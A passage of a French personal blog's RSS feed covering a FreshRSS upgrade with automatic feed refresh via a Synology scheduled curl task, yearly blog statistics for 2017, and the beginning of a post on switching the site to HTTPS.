class=&#34;link&#34; href=&#34;https://pled.fr/?p=10899&#34; &gt;DS Video sur Samsung Smart TV&lt;/a&gt;6312147&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11827&#34; &gt;NAS Synology : Installation de Nextcloud sur DSM 6&lt;/a&gt;1762&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10921&#34; &gt;Thunderbird : archiver ses mails&lt;/a&gt;863&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9529&#34; &gt;NAS Synology : notification par SMS via Free Mobile&lt;/a&gt;399843&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;58214761270772&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11717&#34; &gt;Ubuntu 18.04 : installation et premier retour&lt;/a&gt;695&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11272&#34; &gt;LineageOS avec microG à la place des services Google&lt;/a&gt;613&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;463839763578&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11469&#34; &gt;Retour à LineageOS sans microG&lt;/a&gt;417&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10827&#34; &gt;Synology : indexation multimedia et NFS&lt;/a&gt;401&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11224&#34; &gt;LineageOS : La météo sur l&amp;rsquo;écran de verrouillage&lt;/a&gt;385&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9307&#34; &gt;Plus de guidage vocal dans OsmAnd&lt;/a&gt;252261335&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11110&#34; &gt;Agrandir un disque VirtualBox&lt;/a&gt;309&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10813&#34; &gt;Mapper le répertoire d&amp;rsquo;un NAS Synology sur Ubuntu&lt;/a&gt;306&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10062&#34; &gt;Sauvegarder les données de son NAS Synology vers Ubuntu 16.04 avec Hyper Backup et Rsync&lt;/a&gt;430283&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;6351126732240&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d&amp;rsquo;une jeune fille rangée - Simone de Beauvoir&lt;/a&gt;215340208&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11428&#34; &gt;Synchroniser et insérer des sous-titres dans une vidéo&lt;/a&gt;201&lt;/p&gt;&#xA;&lt;p&gt;Voilà, à l&amp;rsquo;année prochaine, et portez vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour de FreshRSS</title>
            <link>https://pled.fr/mise-a-jour-de-freshrss/</link>
            <pubDate>Wed, 28 Mar 2018 17:09:15 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-de-freshrss/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://freshrss.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;FreshRSS&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;256&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/freshrss.png&#34; width=&#34;256&#34;&gt;&lt;/a&gt; J&amp;rsquo;avais fait un article il y a (déjà) un peu plus de trois ans intitulé &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8413&#34; &gt;FreshRSS et EasyRSS : une bonne combinaison&lt;/a&gt;. Il reprenait l&amp;rsquo;installation du serveur &lt;strong&gt;FreshRSS&lt;/strong&gt;, et de l&amp;rsquo;application Android &lt;strong&gt;EasyRSS&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Hier sur une inspiration j&amp;rsquo;ai installé la dernière version stable de FreshRSS. À vrai dire, je ne l&amp;rsquo;utilisais plus beaucoup, même si les flux RSS restent quand même un moyen très efficace pour suivre des sites et être informé.&lt;/p&gt;&#xA;&lt;p&gt;Mais un point m&amp;rsquo;avait un peu découragé d&amp;rsquo;utiliser FreshRSS : à l&amp;rsquo;époque, je n&amp;rsquo;avais pas trouvé de moyen pour mettre à jour les flux automatiquement, car mon hébergeur ne me donnait pas accès aux tâches planifiées sur le serveur. Donc quand je voulais aller voir mes flux, il fallait que je commence par les rafraîchir, ce qui était assez fastidieux&amp;hellip; C’est là que l’on se rend compte que l’on est exigeant et peu patient quand même ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;Apparemment, c&amp;rsquo;est maintenant possible par une autre méthode ! Je vais donc un peu résumer tout ça, avec les quelques problèmes rencontrés, ce sera un bon complément au premier article.&lt;/p&gt;&#xA;&lt;h3 id=&#34;freshrss&#34;&gt;FreshRSS&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai d&amp;rsquo;abord voulu lancer une mise à jour, mais elle a planté. J&amp;rsquo;étais en v1.3 beta, donc ce n&amp;rsquo;est pas très étonnant. J&amp;rsquo;ai donc tout simplement effacé tous les fichiers de FreshRSS et recopié les nouveaux via FTP. J&amp;rsquo;ai donc choisi la dernière version stable à partir de &lt;a class=&#34;link&#34; href=&#34;https://freshrss.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;leur site&lt;/a&gt;, soit la v1.10.2. Après j&amp;rsquo;ai ouvert la page dans Firefox, et suivi les quelques étapes de l&amp;rsquo;installation sans aucun problème. Et comme je n&amp;rsquo;avais rien effacé dans la base de données, j&amp;rsquo;ai retrouvé tous mes flux. Génial.&lt;/p&gt;&#xA;&lt;p&gt;Ensuite, j&amp;rsquo;ai consulté un peu la documentation en ligne, et je me suis rendu compte qu&amp;rsquo;il y avait un moyen pour que FreshRSS soit mis à jour régulièrement de façon automatique. Les différentes méthodes sont expliquées sur &lt;a class=&#34;link&#34; href=&#34;https://freshrss.github.io/FreshRSS/fr/users/03_Main_view.html#rafraichir-les-flux&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cette page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Dans mon cas, le première méthode n&amp;rsquo;est pas possible, puisque mon hébergeur ne m&amp;rsquo;autorise pas l&amp;rsquo;accès aux tâches planifiées sur le serveur. La seconde, appelée &lt;strong&gt;Cron en-ligne&lt;/strong&gt;, est par contre intéressante ; il faut par contre disposer d&amp;rsquo;une autre machine qui va exécuter la tâche qui va envoyer la commande de rafraîchissement au serveur grâce à une commande &lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/CURL&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cURL&lt;/a&gt;. Et ça tombe bien , j&amp;rsquo;ai mon NAS Synology qui est toujours démarré, c&amp;rsquo;est donc parfait.&lt;/p&gt;&#xA;&lt;p&gt;Il suffit d&amp;rsquo;aller dans le planificateur de tâches du panneau de configuration :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/syno1.jpg&#34; width=&#34;670&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis de créer une nouvelle tâche :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;656px&#34; data-flex-grow=&#34;273&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/syno2.jpg&#34; width=&#34;640&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Donnez lui un nom dans l&amp;rsquo;onglet Général, et laissez l&amp;rsquo;utilisateur root :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;678px&#34; data-flex-grow=&#34;282&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/syno3.jpg&#34; width=&#34;512&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Choisissez la fréquence d&amp;rsquo;exécution (attention à ne pas y aller trop fort, sinon l&amp;rsquo;hébergeur risque de ne pas apprécier) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;261px&#34; data-flex-grow=&#34;108&#34; height=&#34;469&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/syno4.jpg&#34; width=&#34;511&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et enfin entrez la commande et choisissez les options de mail :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;350px&#34; data-flex-grow=&#34;146&#34; height=&#34;353&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/syno5.jpg&#34; width=&#34;516&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;La commande est donc sous la forme :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; curl &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://votre.serveur.net/FreshRSS/p/i/?c=feed&amp;amp;a=actualize&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pour que cette méthode fonctionne, et si vous avez laissé la méthode d&amp;rsquo;authentification par défaut (soit Formulaire), il faut cocher les 2 cases suivantes dans la partie Authentification de la Configuration de FreshRSS :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;214&#34; height=&#34;332&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/syno6.jpg&#34; width=&#34;711&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce n&amp;rsquo;est pas nécessaire si vous avez opté pour &lt;strong&gt;Aucune&lt;/strong&gt; méthode d&amp;rsquo;authentification, mais elle est indiquée comme dangereuse, donc j&amp;rsquo;ai évité&amp;hellip; Voilà pour la partie Mise à jour automatique de FreshRSS.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai eu ensuite un petit souci sur un flux, &lt;a class=&#34;link&#34; href=&#34;http://www.planet-libre.org/feed.php?type=rss&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;celui de planet-libre&lt;/a&gt; : impossible de l&amp;rsquo;enregistrer, le log me disait &amp;ldquo;Unknown error&amp;rdquo; ou parfois &amp;ldquo;Time-out&amp;rdquo; :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;447px&#34; data-flex-grow=&#34;186&#34; height=&#34;304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/freshrss-log.jpg&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Comme l&amp;rsquo;URL du flux était indiquée comme bonne sur &lt;a class=&#34;link&#34; href=&#34;https://validator.w3.org/feed/check.cgi?url=http%3A%2F%2Fwww.planet-libre.org%2Ffeed.php%3Ftype%3Drss&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;validator.w3.org&lt;/a&gt;, j&amp;rsquo;ai alors créé &lt;a class=&#34;link&#34; href=&#34;https://github.com/FreshRSS/FreshRSS/issues/1846&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;un bug&lt;/a&gt; sur le Github de FreshRSS. J&amp;rsquo;ai eu une réponse très rapide, le problème vient plutôt du flux de planet-libre&amp;hellip; J&amp;rsquo;ai essayé d&amp;rsquo;augmenter le timeout comme proposé, mais rien à faire, impossible de le remettre pour l&amp;rsquo;instant. Je verrai ça plus tard.&lt;/p&gt;&#xA;&lt;p&gt;Dernier problème rencontré : comme je souhaitais utiliser EasyRSS sur le smartphone (&lt;a class=&#34;link&#34; href=&#34;https://f-droid.org/packages/org.freshrss.easyrss/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la version disponible sur F-Droid&lt;/a&gt;), je devais faire deux choses : autoriser l&amp;rsquo;accès par API (voir l&amp;rsquo;écran de Méthode d&amp;rsquo;authentification ci-dessus, la troisième case cochée), puis aller dans la section &lt;strong&gt;Profil&lt;/strong&gt; de la page de configuration de FreshRSS, et définir un mot de passe pour l&amp;rsquo;utilisateur :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;377&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/freshrss-profil.jpg&#34; width=&#34;542&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or impossible d&amp;rsquo;y arriver, je me prenais une erreur &amp;ldquo;403 - Forbidden&amp;rdquo; et j&amp;rsquo;étais déconnecté de FreshRSS. J&amp;rsquo;ai tout essayé, comme de supprimer le premier  mot de passe (pour connexion par formulaire), et ne valider que ce mot de passe API, mais rien à faire.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai fini par lancer Chromium (j&amp;rsquo;utilisais Firefox), et là aucun problème, j&amp;rsquo;ai pu définir mon mot de passe API (qui doit être différent du premier) pour l&amp;rsquo;accès à partir d&amp;rsquo;EasyRSS. Bizarre, vous avez dit bizarre ? J&amp;rsquo;imagine un problème avec Firefox et la gestion des mots de passe&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, sinon aucun problème côté smartphone, installation via F-Droid (on peut aussi y récupérer le fichier .apk si nécessaire, ou aller sur &lt;a class=&#34;link&#34; href=&#34;https://github.com/Alkarex/EasyRSS/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;le site Github d&amp;rsquo;EasyRSS&lt;/a&gt;). Au premier démarrage, il suffit de s&amp;rsquo;identifier avec l&amp;rsquo;utilisateur et le mot de passe API créé : ``&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;189px&#34; data-flex-grow=&#34;78&#34; height=&#34;317&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-de-freshrss/easyrss.jpg&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;URL est sous cette forme (ou http d&amp;rsquo;il n&amp;rsquo;y a pas de certificat) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://your.server.example/FreshRSS/p/api/greader.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Me voilà donc reparti pour un tour avec le duo FreshRSS et EasyRSS ! Je rappelle le premier article sur le sujet :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8413&#34; &gt;FreshRSS et EasyRSS : une bonne combinaison&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Bonne lecture de flux !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog – année 2017</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2017/</link>
            <pubDate>Mon, 01 Jan 2018 15:25:14 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2017/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;année 2018&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;2018.jpg#floatleft&#34;&gt; Tout d’abord, meilleurs vœux pour cette nouvelle année 2018 à toutes et à tous passant sur ce blog, par hasard ou pas.&lt;/p&gt;&#xA;&lt;p&gt;Comme chaque année, c&amp;rsquo;est l&amp;rsquo;occasion de faire les statistiques du blog. Depuis 2015, je suis reparti pratiquement de zéro puisque je venais de migrer vers un nouvel hébergeur, avec mon propre nom de domaine suite à des &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1&#34; &gt;déconvenues avec Free&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Les chiffres de 2017 sont assez semblables à ceux de 2016, légèrement en baisse, et très loin des meilleures années chez Free. C&amp;rsquo;est la vie, les pratiques sur internet changent, et pas question de Facebook ici.&lt;/p&gt;&#xA;&lt;p&gt;Tout dépend aussi des sujets abordés : j&amp;rsquo;ai beaucoup d&amp;rsquo;articles sur les bouquins que j&amp;rsquo;ai lu ou les films que je vais voir, et qui intéressent potentiellement peu de monde. On voit par contre que les articles sur le smartphone, le NAS Synology, ou même Ubuntu, ont plus de succès, ce qui est logique : ce sont des articles qui expliquent comment faire les choses, ou résoudre un problème. Mais bon, tout de même quatre bouquins dans le top 20 cette année, un record !&lt;/p&gt;&#xA;&lt;p&gt;Cette année, je vais installer la nouvelle version d&amp;rsquo;Ubuntu 18.04 LTS, après deux ans passés avec la 16.04 (je n&amp;rsquo;installe plus que les versions LTS), ce sera l&amp;rsquo;occasion d&amp;rsquo;un bel article j&amp;rsquo;espère.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;Commençons par le nombre de visites mensuelles : le nombre est à peu près stable, légèrement inférieur à 3000 visites. En légère baisse comparé à 2016, l&amp;rsquo;été a été terrible ! ;-) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;stats mensuelles&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;535px&#34; data-flex-grow=&#34;223&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2017/stats1.jpg&#34; width=&#34;589&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Les records de visites par mois et par jour sont tout de même dépassés, même si le nombre total de visites est inférieur à 2016 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2018/01/stats2.jpg&#34; &gt;&lt;img alt=&#34;stats mensuelles 2&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;564px&#34; data-flex-grow=&#34;235&#34; height=&#34;432&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2017/stats2.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2017/stats2_hu_8235bde37b703440.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2017/stats2.jpg 1016w&#34; width=&#34;1016&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce qui nous donne en comparant les années de 2009 à 2017 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2018/01/stats3.jpg&#34; &gt;&lt;img alt=&#34;stats annuelles&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1101px&#34; data-flex-grow=&#34;459&#34; height=&#34;227&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2017/stats3.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2017/stats3_hu_87db1d45f229eaf2.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2017/stats3.jpg 1042w&#34; width=&#34;1042&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enfin, selon le plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, le nombre total de visiteurs du blog (depuis sa création) est de &lt;strong&gt;1 647 198&lt;/strong&gt; visites à ce jour.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant 1 126 articles publiés sur le blog, et 1 250 commentaires. Soit 92 articles rédigés en 2017 (en hausse), et 40 commentaires cette même année (en baisse).&#xA;Titre201520162017Articles756592Commentaires265440&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-top-20&#34;&gt;Le Top 20&#xA;&lt;/h3&gt;&lt;p&gt;Venons-en maintenant aux articles les plus lus !&lt;/p&gt;&#xA;&lt;p&gt;Avec le changement d&amp;rsquo;hébergeur en 2015, les statistiques avaient été remises à zéro, laissant une chance aux articles plus récents d&amp;rsquo;apparaître dans ce classement&amp;hellip; Sans pour autant avoir la moindre chance de détrôner les trois articles concernant ma fracture du coude !&lt;/p&gt;&#xA;&lt;p&gt;Seul vient s&amp;rsquo;intercaler dans ce trio de tête l&amp;rsquo;article sur la synchro des agendas entre Thunderbird et Android ; ce qui confirme l&amp;rsquo;intérêt pour les articles concernant le mobile, avec six articles classés sur les vingt (comme l&amp;rsquo;année dernière).&lt;/p&gt;&#xA;&lt;p&gt;Trois articles sur le NAS Synology sont présents, le premier étant au sujet de l&amp;rsquo;application DS Video de Samsung Smart TV, permettant de lire directement la bibliothèque multimedia du NAS, un truc vraiment très pratique !&lt;/p&gt;&#xA;&lt;p&gt;Enfin quatre articles de la catégorie Littérature apparaissent dans ce classement, contre deux l&amp;rsquo;année dernière : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d&amp;rsquo;une jeune fille rangée - Simone de Beauvoir&lt;/a&gt;, et &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8998&#34; &gt;Un barbare en Asie - Henri Michaux&lt;/a&gt; qui étaient déjà présents, auxquels viennent s&amp;rsquo;ajouter cette année &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=108&#34; &gt;Le langage silencieux – Edward T. Hall&lt;/a&gt; et &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4537&#34; &gt;Voyage au Congo – André Gide&lt;/a&gt;. Ça fait très plaisir, et quatre très bons livres !&lt;/p&gt;&#xA;&lt;p&gt;Titre201520162017&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 9371137411017&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;49981140710661&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;58214761270&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;463839763&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;6351126732&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10899&#34; &gt;DS Video sur Samsung Smart TV&lt;/a&gt;631&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8576&#34; &gt;Rooter le Mororola Moto G 4G LTE&lt;/a&gt;400903548&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10172&#34; &gt;Motorola Moto G 4G LTE : passage à Android 6 (Stock Android 6.0)&lt;/a&gt;470&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10062&#34; &gt;Sauvegarder les données de son NAS Synology vers Ubuntu 16.04 avec Hyper Backup et Rsync&lt;/a&gt;430&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9529&#34; &gt;NAS Synology : notification par SMS via Free Mobile&lt;/a&gt;399&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d&amp;rsquo;une jeune fille rangée - Simone de Beauvoir&lt;/a&gt;215340&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9956&#34; &gt;Installation d&amp;rsquo;Ubuntu 16.04, retour et problèmes rencontrés&lt;/a&gt;288322&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9289&#34; &gt;Motorola Moto G : passage à Android 5.1 avec la &amp;ldquo;Stock ROM&amp;rdquo;&lt;/a&gt;548278&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9307&#34; &gt;Plus de guidage vocal dans OsmAnd&lt;/a&gt;252261&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9126&#34; &gt;Radiotray et les nouvelles URLs pour Radio-France&lt;/a&gt;174467241&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8413&#34; &gt;FreshRSS et EasyRSS : une bonne combinaison&lt;/a&gt;155293236&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8998&#34; &gt;Un barbare en Asie - Henri Michaux&lt;/a&gt;189234&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;115207220&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=108&#34; &gt;Le langage silencieux – Edward T. Hall&lt;/a&gt;213&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4537&#34; &gt;Voyage au Congo – André Gide&lt;/a&gt;210&#xA;Voilà, à l&amp;rsquo;année prochaine, et portez vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Passage du blog en HTTPS</title>
            <link>https://pled.fr/passage-du-blog-en-https/</link>
            <pubDate>Thu, 28 Dec 2017 18:34:27 +0000</pubDate>
            <guid>https://pled.fr/passage-du-blog-en-https/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https1.jpg#floatleft&#34;&gt; Voilà, le site est maintenant en HTTPS ! Ça m&amp;rsquo;a pris d&amp;rsquo;un coup, et cela a été beaucoup plus simple que j&amp;rsquo;imaginais.&lt;/p&gt;&#xA;&lt;p&gt;Déjà, pourquoi passer en https, c&amp;rsquo;est-à-dire en connexion chiffrée ? Le blog est public, les articles aussi, non seulement &amp;ldquo;je n&amp;rsquo;ai rien à cacher&amp;rdquo; (ça, c&amp;rsquo;est la mauvaise réponse), mais surtout quel intérêt à chiffrer sur le réseau le transfert de la page du blog que vous visualisez ?&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;abord, par principe, afin d&amp;rsquo;améliorer à sécuriser le web (bien malmené ces derniers jours) : un certificat, c&amp;rsquo;est d&amp;rsquo;abord et avant tout le moyen d&amp;rsquo;authentifier que le site accédé est bien le bon. Ensuite, les certificats se sont largement démocratisés ces dernières années, et sont même devenus gratuits, au moins pour l&amp;rsquo;usage qu&amp;rsquo;en a un particulier, avec &lt;a class=&#34;link&#34; href=&#34;https://letsencrypt.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    